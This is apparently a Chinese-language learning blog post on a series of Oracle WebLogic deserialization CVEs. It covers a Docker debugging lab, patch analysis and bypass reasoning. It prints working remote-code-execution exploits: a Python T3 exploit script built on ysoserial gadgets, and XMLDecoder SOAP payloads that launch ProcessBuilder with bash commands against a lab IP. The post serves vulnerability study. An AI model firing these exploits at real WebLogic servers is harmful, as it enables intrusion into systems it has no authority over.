weblogic反序列化漏洞学习记录
环境搭建
链接：https://github.com/QAX-A-Team/WeblogicEnvironment
需要自行下载对应版本的 jdk 和 weblogic 放入对应文件夹中
docker设置及远程调试环境配置：
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问 http://localhost:7001/console/login/LoginForm.jsp 出现登录页面
新建 middleware 作为用于调试的文件夹
dir ./middleware docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
然后用 IDEA 打开，导入 wlserver/server/lib （Add as Library)，之后设置远程调试端口为 8453。
打开 WLSServletAdapter 类，129 行下断点。
访问 http://localhost:7001/wls-wsat/CoordinatorPortType ，若成功拦截，则环境配置完毕。CVE-2015-4852（T3 反序列化漏洞)
关于 weblogic 漏洞所需的基础知识可参考这位dalao的文章 https://paper.seebug.org/1012/#weblogic_8.
漏洞点在：weblogic.rjvm.InboundMsgAbbrev#readObject
t3协议的数据流会走这个类，关注 readObject 之后的操作，查看 ServerChannelInputStream 类中的具体方法。
漂亮！resolveClass 中什么防御都无。其中resolveClass 是 readObject 底层流程要走的函数，shiro 反序列化中因为 shiro 框架对 resolveClass 进行了重写导致部分 CC 链打不了。在 weblogic 后续的补丁中也是对这个方法进行了修改。
看一下 weblogic 自带的 CC 链
poc:
from os import popen import struct # 负责大小端的转换 import subprocess from sys import stdout import socket import re import binascii def generatePayload(gadget,cmd): YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read() def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload) if __name__ == "__main__": ip = "172.21.65.112" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/CVE-2015-4852" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)CVE-2016-0638（CVE-2015-4852 修复后的绕过）
在补丁 p21984589_1036_Generic 中，在 ServerChannelInputStream 的 resolveClass 中引入 ClassFilter.isBlackListed 进行过滤，但菜鸡的我没有找到补丁文件。。。这里放一张参考文献中dalao的图：
其实之后的 t3 反序列化就是变着花的绕黑名单了。
补充信息：
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后，程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
在这里需要找的就是其他类的反序列化方法，其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中，在其中的 readExternal 方法中，new 了一个没有被黑名单过滤的对象，并执行了这个对象的 readObject，造成了二次反序列化。
再关注一下这个 var4 是怎么来的
然后把流和一个int传入 copyPayloadFromStream 中
流进到了 createOneSharedChunk 中
创建了一个 chunk ，readExternal 的后续操作就是从中读取数据并进行了反序列化。
这里使用工具 https://github.com/5up3rc/weblogic_cmd 进行分析。
IDEA打开工具，配置执行环境，导入 tools 包（jdk/lib/tool.jar）中，然后打断点。
然后开始 debug，经过参数解析后进入 blindExecute
然后进入到 SerialDataGenerator.serialBlindDatas
分别跟踪这两个函数实现
拼起来正好是一条 CC1。但没完，返回之前还要进入 BypassPayloadSelector.selectBypass ，这一方法用来处理原生链中本应该直接进行反序列化的对象（二次反序列化包装）。
在 Serializables.serialize 中进行序列化
然后调用到最终要反序列化的 StreamMessageImpl
接着 send payload 的实现就和上文 CVE-2015-4852 的 poc 的实现差不多了，构造 t3 数据包然后发送。
CVE-2016-3510（CVE-2015-4852 的另一种绕过方式）
这次选用的类是 weblogic.corba.utils.MarshalledObject，其中的 readResolve 会读取 objBytes 的值赋给新 new 的 ois，然后将其进行反序列化。
在 weblogic_cmd 的 Main 函数中修改一下 TYPE
在 selectBypass 的时候换了一个对象
进入到 MarshalledObject ，之后进行正常的序列化。
CVE-2017-3248（利用JRMPClient进行带外rce）
东西很多，挖个坑单独说。CVE-2017-3506（XMLDecoder反序列化）
基础知识可参考 https://paper.seebug.org/1012/#weblogic_8，这里先写个demo跟一下XMLDecoder的过程。
poc.xml
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java>
Main.java
import java.beans.XMLDecoder; import java.io.*; public class Main { public static void main(String[] args) throws IOException, InterruptedException { File file = new File("poc.xml的绝对路径"); XMLDecoder xd = null; try { xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file))); } catch (Exception e) { e.printStackTrace(); } Object s2 = xd.readObject(); xd.close(); } }
第 9 行下个断点，跟进 XMLDecoder 类，发现这里首先 new 了一个 DocumentHandler 对象
首先对各种标签的解析
最后在 处调用 getValue ,得到类的实例。
补上一张@ fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程
然后就是追一下 weblogic 是在哪调用 XMLDecoder 的
poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 172.21.65.112:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 824 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/CVE-2017-3506</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
断点下在 WorkContextTube#readHeaderOld 上，然后进入 receive 中
持续跟进到 readUTF 中，发现反序列化操作
CVE-2017-10271（CVE-2017-3506 绕过）
先看一下官方的补丁
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
重点就是这：
if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object");
标签是 object 的时候报错，是不很理解为什么这么修，这里把 object 标签换成 void 标签照样可以执行命令。
<object class=”java.lang.ProcessBuilder”> ====> <void class=”java.lang.ProcessBuilder”>
除了把 isArgument 从 true 变成 false 外全部继承 ObjectElementHandler。CVE-2019-2725（CVE-2017-10271绕过 + 新的反序列化组件）
首先看新的 _async 中存在的反序列化触发点（访问路径：/_async/AsyncResponseService）
从接收服务开始的完整解析过程详见https://www.anquanke.com/post/id/177381，这里只重点关注触发漏洞部分。
请求从 BaseWSServlet 开始，断点下在 service 方法，一直跟进到 run
跟进到处理请求的部分，注意这里接收到的信息是以 Soap 协议解析的
解析后的东西放在了 var7 中，然后跟一下 var7 的 invoke 方法
在进行soap的初始化后进入 dispatch 中，跟进到 handleRequest 中
在 WorkContextXmlInputAdapter 中调用了 XMLDecoder
跟进 receiveRequest 方法中，发现调用了 readUTF ，剩下的流程接上前面分析的就可以了。
关于补丁的绕过，先分析一下补丁代码：
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
解释一下就是 ban 掉了object、new、method标签，如果使用void标签，只能有index属性，如果使用array标签，且标签使用的是class属性，则它的值只能是byte。
那么我们需要找一个参数是 byte 类型的类尝试反序列化，这里采用的 jdk7u21的那条链。
7u21 的命令执行部分是将 Templateslmpl 对象的 _bytecodes 动态生成为对象，于是该类的static block和构造函数便会自动执行，造成命令执行。
poc (部分):
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970"> <void index="0"> <byte>-84</byte> ... ... </array></void></class> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
CVE-2019-2729 (CVE-2019-2725 绕过)
具体挖掘细节可参考 https://xz.aliyun.com/t/5448 ,这里给出最后结论.
poc:(jdk1.6可行)
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <array method="forName"> <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string> <void> <array class="byte" length="3748"> ... </array> </void> </array> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
把 <class> 换成了 <array method="forName">, 宏观上理解就是通过Class.forName(classname)来取到我们想要的类.
在 jdk1.7 中, array 标签并不会受理 method 属性(没有意义), 但在 jdk1.6中的实现方法是:
} else if (var1 == "array") { var14 = (String)var3.get("class"); Class var10 = var14 == null ? Object.class : this.classForName2(var14); var11 = (String)var3.get("length"); if (var11 != null) { var4.setTarget(Array.class); var4.addArg(var10); var4.addArg(new Integer(var11)); }
它将所有的标签属性进行统一处理，但是又没有进行有效性验证, 所以出现了绕过.
参考文献：
- http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
- https://www.cnblogs.com/nice0e3/p/14201884.html
- https://www.cnblogs.com/nice0e3/p/14207435.html
- https://xz.aliyun.com/t/8443
- https://www.anquanke.com/post/id/250801
- https://www.anquanke.com/post/id/251921
- https://www.cnblogs.com/nice0e3/p/14269444.html
- https://www.cnblogs.com/nice0e3/p/14275298.html
- https://www.cnblogs.com/ph4nt0mer/p/11772709.html
- https://www.anquanke.com/post/id/180725
- https://www.anquanke.com/post/id/226575
- https://www.anquanke.com/post/id/177381
- https://xz.aliyun.com/t/5448
